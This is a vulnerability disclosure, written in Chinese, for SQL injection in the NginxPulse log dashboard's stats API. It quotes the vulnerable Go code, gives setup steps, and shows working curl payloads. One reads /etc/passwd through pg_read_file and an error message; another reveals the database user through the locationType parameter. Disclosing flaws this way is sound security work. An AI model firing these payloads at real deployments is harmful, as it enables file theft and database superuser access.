NginxPulse 漏洞报告

软件名称:NginxPulse

开发者或厂商:likaia

代码仓库:https://github.com/likaia/nginxpulse

1. /api/stats/:type SQL 注入

简要描述:攻击者可通过 /api/stats/:type 的 id 参数注入任意 SQL。
影响版本:1.5.0 ~ 1.6.24
前置条件:默认情况下无需任何凭据;若目标配置了访问密钥(system.accessKeys),则需要持有该访问密钥。

漏洞成因

/api/stats/:type 由 parseStatsQuery 解析参数,其中 id 从查询字符串取得,未经格式校验就赋给 query.WebsiteID:

// internal/analytics/stats.go:214-221    commit 0d41264ae4
	websiteID, err := getRequiredString(params, "id")
	if err != nil {
		return query, err
	}
	query.WebsiteID = websiteID

统计模块把 WebsiteID 当作表名的一部分,用 fmt.Sprintf 拼进 SQL。以 overall 为例:

// internal/analytics/overall_stats.go:219-225    commit 0d41264ae4
	aggQuery := sqlutil.ReplacePlaceholders(fmt.Sprintf(`
        SELECT 
            COALESCE(SUM(pv), 0) as pv,
            COALESCE(SUM(traffic), 0) as traffic
        FROM "%s_agg_daily"
        WHERE day >= ? AND day <= ?`,
		websiteID))

id 落在双引号内部,攻击者可以用一个双引号闭合标识符,再追加 JOIN 子句。-- 只注释到行尾,末尾的 _agg_daily" 被注释掉,下一行的 WHERE 仍然有效,占位符数量保持不变。以读取 /etc/passwd 为例,服务端实际执行的语句如下:

        FROM "45c0_agg_daily" JOIN (SELECT 1) z ON 1=(CAST((substr(pg_read_file('/etc/passwd'),1,160)) AS int)) --_agg_daily"
        WHERE day >= $1 AND day <= $2

PostgreSQL 把字符串转换成整数失败时,会把原始字符串写进错误消息。把任意子查询的结果拼进 CAST(... AS int),就能从 HTTP 响应中逐段读出数据。

官方镜像内置 PostgreSQL,容器启动时以 initdb --username=nginxpulse 初始化(entrypoint.sh:8、entrypoint.sh:436),应用使用的数据库账号是集群超级用户。该账号可以调用 pg_read_file、lo_from_bytea、lo_put、lo_export、pg_terminate_backend 等函数,注入因此等价于数据库超级用户权限。

同一个接口家族还有一处同类缺陷。location 统计的 locationType 参数同样未经校验,被直接拼成列名:

// internal/analytics/client_stats.go:99-111,188-194    commit 0d41264ae4
	locationType = query.ExtraParam["locationType"].(string)
	switch locationType {
	case "domestic", "city":
		statsType = "domestic"
	case "global":
		statsType = "global"
	default:
		statsType = locationType
	}
	...
		selectExpr = "loc." + statsType

此处的结果直接出现在响应里,不需要错误回显:

curl -s -G http://127.0.0.1:8088/api/stats/location \
  --data-urlencode "id=45c0" --data-urlencode "timeRange=7d" \
  --data-urlencode "limit=5" \
  --data-urlencode "locationType=global||'|'||current_user"
{"key":["未知|nginxpulse"],"pv":[2],"uv":[2],"pv_percent":[100],"uv_percent":[100]}

复现环境搭建

实验环境用官方 compose 文件部署:

mkdir nginxpulse && cd nginxpulse
wget https://raw.githubusercontent.com/likaia/nginxpulse/v1.6.24/docker-compose-simple.yml
mkdir -p docker_local/logs
cat > docker_local/logs/access.log <<'EOF'
203.0.113.10 - - [30/Oct/2026:10:00:00 +0800] "GET /index.html HTTP/1.1" 200 512 "https://example.com/" "Mozilla/5.0"
203.0.113.11 - - [30/Oct/2026:10:01:00 +0800] "GET /about HTTP/1.1" 200 1024 "-" "Mozilla/5.0"
EOF
docker compose -f docker-compose-simple.yml up -d

若宿主机目录的 UID/GID 与 compose 里的 PUID、PGID 不一致,按官方文档调整这两个变量。

浏览器打开 http://127.0.0.1:8088,在初始化向导中新增站点 demo.example.com,日志路径填 /share/logs/*.log,访问密钥留空,点击保存并重启。

复现过程

配置完成后,面板正常显示统计数据:

GET /api/websites 返回站点 id:

$ curl -s http://127.0.0.1:8088/api/websites
{"websites":[{"id":"45c0","name":"demo.example.com"}]}

把 id 换成注入 payload,读取 /etc/passwd:

$ curl -s -G http://127.0.0.1:8088/api/stats/overall \
    --data-urlencode "timeRange=7d" \
    --data-urlencode "id=45c0_agg_daily\" JOIN (SELECT 1) z ON 1=(CAST((substr(pg_read_file('/etc/passwd'),1,160)) AS int)) --"
{"error":"查询失败: 获取总体统计失败: 查询总体统计数据失败: ERROR: invalid input syntax for type integer: \"root:x:0:0:root:/root:/bin/sh\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:\" (SQLSTATE 22P02)"}